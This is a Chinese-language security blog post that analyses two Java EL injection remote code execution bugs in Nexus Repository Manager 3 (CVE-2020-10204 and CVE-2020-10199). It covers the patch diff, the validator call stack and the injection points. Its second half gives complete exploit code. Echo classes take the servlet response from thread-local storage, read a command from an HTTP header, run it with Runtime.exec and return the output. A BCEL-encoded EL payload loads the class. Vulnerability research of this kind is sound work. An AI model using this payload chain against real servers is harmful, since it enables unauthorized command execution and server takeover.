Hu3sky's blog

CVE-2020-10204/CVE-2020-10199 Nexus Repository Manager3 分析&以及三个类的回显构造

Word count: 2,096 / Reading time: 11 min
2020/04/08 Share

漏洞背景

2020年04月02日, 360CERT监测发现 Sonatype Security Team 官方发布了一则关于 Nexus Repository Manager 3.x 的远程代码执行漏洞通告。在通过认证的情况下,攻击者可以通过JavaEL表达式注入造成远程代码执行。

Nexus Repository 是一个开源的仓库管理系统,在安装、配置、使用简单的基础上提供了更加丰富的功能。

漏洞定位

CVE-2020-10204

由于官方没有交代任何漏洞细节,于是需要我们自行diff 3.21.1版本和3.21.2版本,经过diff,发现利用点(这里只讨论rce,不讨论xss)。
org.sonatype.nexus.common.template.EscapeHelperstripJavaEl方法。
30a66a5d628d2bd7d697fc71c70681b6
这样一看,就是一个CVE-2018-16621bypass了,那么漏洞的构造也比较简单,依照着补丁来构造,就是利用\A来绕过,这里的A可以是任意字符。

CVE-2020-10199

Helper Bean检测增加stripJavaEl方法

org.sonatype.nexus.validation.ConstraintViolationFactory$HelperValidator
07e388d8d3ad245d4784fe758b77653e

CVE-2020-10204(需要管理员权限)

漏洞利用

19c638dac2c236c753a0269343244eef

漏洞分析

漏洞触发的主要原因是在
org.sonatype.nexus.security.privilege.PrivilegesExistValidatororg.sonatype.nexus.security.role.RolesExistValidator 类中,会对不存在的 privilegerole 抛出错误,而在错误信息抛出的时候,会存在一个el表达式的渲染,会提取其中的el表达式并执行,从而造成el表达式注入。

来看一看对role的检测,这里会调用rolevalidator
org.sonatype.nexus.security.role.RolesExistValidatorisValid方法。
e63b1528b0829b6e7372f7adaed22acf
在这里对role进行检测。
8f01422b1e626596096298d90775017c
如果当前Manager不存在该role,就会抛出错误,首先进行stripJavaEl的调用。

58f6475027994931de19c5ff9ba814c5

el表达式执行

将不存在的role addmissing这个List里面,然后一路return
org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTreevalidateConstraints方法,对validate进行验证。
546cc42cf730304f28a473a5df4e05e2
跟进addConstraintFailure
070d27989a62b6496cbdb5925b95d571
messageTemplate就是missing里的内容,然后调用interpolate方法。
继续跟进,
bf26ae2f9b34a8f968dc07c07faa4cec
this.validatorScopedContext.getMessageInterpolator()返回ResourceBundleMessageInterpolator对象,跟进interpolateMessage
2ea6640761cd434a976d9e95eca76fc6
处理missingmessage
196fc7ceee4245d0058265752eebd973
112f6b37b0be55b98ace02a611294edd
跟入interpolateExpression,这里while循环处理tokenIterator
8d6f245e4d32245ed0da9819f9ddb4c2
当token获取到{100*100}时,跟入interpolate
c127a1b37911efce98ba13f20203e13e
实例化InterpolationTerm

e8a588c05da545e6472437bf7f768199
然后实例化ElTermResolver

0477e8754cf029908f9413d1bcfe8f7c
最后返回执行结果。
c8efe9f3d32ef0c70fb5a89574104d25

调用栈比较复杂,取了部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
interpolate:79, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:38, ParameterExecutableValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateMetaConstraints:537, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForNonDefaultGroup:529, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:447, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedAnnotatedObjectForCurrentGroup:629, ValidatorImpl (org.hibernate.validator.internal.engine)
validateCascadedConstraints:590, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParametersInContext:880, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:283, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:235, ValidatorImpl (org.hibernate.validator.internal.engine)
validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal)
invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop)
invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop)
invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop)
proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal)
intercept:55, InterceptorStackCallback (com.google.inject.internal)
update:-1, UserComponent$$EnhancerByGuice$$a4c055e (org.sonatype.nexus.coreui)
invoke:-1, GeneratedMethodAccessor615 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJavaMethod:142, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:133, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
invokeMethod:82, ExtDirectDispatcher (org.sonatype.nexus.extdirect.internal)
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
...

CVE-2020-10199

该漏洞的最终触发是通过给HelperBeanmessage进行el表达式注入,从而抛出错误

漏洞利用

普通用户触发。
d8082ed89eac7ab0edb343148e33b88b

漏洞分析

看到org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource类,根据request调用createRepository
65828a3f0ea6f8ad9d31f41b2ddfd1bb

跟入父类,也就是org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResourcecreateRepository方法。

0657b1f39d23ad04d119251380759fa3

接着跟入validateGroupMembers

09f167f0983f6acb073183eec9071fae

org.sonatype.nexus.validation.ConstraintViolationFactory
bef0639200b27652b25f488e169b2aaf
这里会实例化HelperBeanmessage即为el注入的内容。
aeea3433909dd818780575e145d233d8
之后会对HelperBean进行判断,调用isValid,调用buildConstraintViolationWithTemplatemessageTemplates进行赋值,最后执行el表达式方式跟CVE-2020-10204部分一致。

漏洞修复

参考漏洞定位部分。

回显

利用Thread获取当前线程的threadLocals变量,其中有很多都保存着response对象,比如我发现了以下几个

  1. org.eclipse.jetty.server.HttpConnection
    73365867a4464a39758d20f51160af66

  2. com.google.inject.servlet.GuiceFilter$Context
    66f8b835d139a841897a28cf6b20227a

  1. com.softwarementors.extjs.djn.servlet.ssm.WebContext
    86f59cc7daf2858a137c871b6dc25cb8

构造

强烈建议构造的时候用ideaEvaluate Expression (反射杀我

WebContext

获取Response

1
2
3
4
5
6
7
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);

637e63c64809f4053de162e2adc95851

获取request并设置请求命令参数

1
2
3
4
5
6
7
8
9
Object valueObject = Thread.currentThread().threadLocals.table[79].value;
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper.getMethod("getRequest").invoke(statusResponse);
Object request1Real = Wrapper.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});

GuiceFilter$Context

和WebContext用法类似

1
2
3
4
5
6
7
8
Object valueObject = Thread.currentThread().threadLocals.table[79].value;
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);

7027327ef137d067317e2627bc3f007b

HttpConection

1
2
3
4
5
6
Object valueObject = Thread.currentThread().threadLocals.table[205].value;
Class<?> HttpConnection = valueObject.getClass();
Object httpChannel = HttpConnection.getMethod("getHttpChannel").invoke(valueObject);
Class<?> HttpChannel = httpChannel.getClass();
Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel);
java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response);

6578ce5630d05bbd5c17125d58331693

生成bcelcode

1
2
3
byte[] bytes = Files.readAllBytes(Paths.get("/Users/hu3sky/IdeaProjects/Ldap/target/classes/Echo_HttpConnection.class"));
String s = Utility.encode(bytes,true);
System.out.println(s);

最终通过com.sun.org.apache.bcel.internal.util.ClassLoader来加载bcel编码过后的类

1
${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$' + code).newInstance()

141d0b6b0fe484cb7e52c1545b487553

最终

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);
writer.write("by hu3sky");
writer.close();
}
}
}
}
}
}

代码执行

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class Echo_WebContext {
static {
try {
getResponse();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void getResponse() throws Exception {
Thread thread = Thread.currentThread();
java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
Object[] objects = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
for (Object object : objects) {
if (object != null) {
Object valueObject = entryValueField.get(object);
if (valueObject != null) {
if (valueObject.getClass().getName().equals("com.softwarementors.extjs.djn.servlet.ssm.WebContext")) {
//获取response
java.lang.reflect.Field response = valueObject.getClass().getDeclaredField("response");
response.setAccessible(true);
Object shiroServletResponse = response.get(valueObject);
Class<?> Wrapper = shiroServletResponse.getClass().getSuperclass().getSuperclass();
Object statusResponse = Wrapper.getMethod("getResponse").invoke(shiroServletResponse);
Object response1 = Wrapper.getMethod("getResponse").invoke(statusResponse);
java.io.PrintWriter writer = (java.io.PrintWriter) response1.getClass().getMethod("getWriter").invoke(response1);

//获取request
java.lang.reflect.Field request = valueObject.getClass().getDeclaredField("request");
request.setAccessible(true);
Object shiroServletRequest = request.get(valueObject);
Class<?> Wrapper2 = shiroServletRequest.getClass().getSuperclass().getSuperclass();
Object statusResponse2 = Wrapper2.getMethod("getRequest").invoke(shiroServletRequest);
Object request1 = Wrapper2.getMethod("getRequest").invoke(statusResponse2);
Object request1Real = Wrapper2.getMethod("getRequest").invoke(request1);
String hu3sky_command = (String) request1Real.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request1Real, new Object[]{"hu3sky_command"});

String sb = "";
java.io.BufferedInputStream in = new java.io.BufferedInputStream(Runtime.getRuntime().exec(hu3sky_command).getInputStream());
java.io.BufferedReader inBr = new java.io.BufferedReader(new java.io.InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
writer.write(sb);
writer.flush();
inBr.close();
in.close();
}
}
}
}
}
}

57b8a9231d8b483baa967edc49f541a0

CATALOG
  1. 1. 漏洞背景
  2. 2. 漏洞定位
    1. 2.1. CVE-2020-10204
    2. 2.2. CVE-2020-10199
      1. 2.2.1. Helper Bean检测增加stripJavaEl方法
  3. 3. CVE-2020-10204(需要管理员权限)
    1. 3.1. 漏洞利用
    2. 3.2. 漏洞分析
      1. 3.2.1. el表达式执行
  4. 4. CVE-2020-10199
    1. 4.1. 漏洞利用
    2. 4.2. 漏洞分析
  5. 5. 漏洞修复
  6. 6. 回显
    1. 6.1. 构造
      1. 6.1.1. WebContext
      2. 6.1.2. GuiceFilter$Context
      3. 6.1.3. HttpConection
    2. 6.2. 代码执行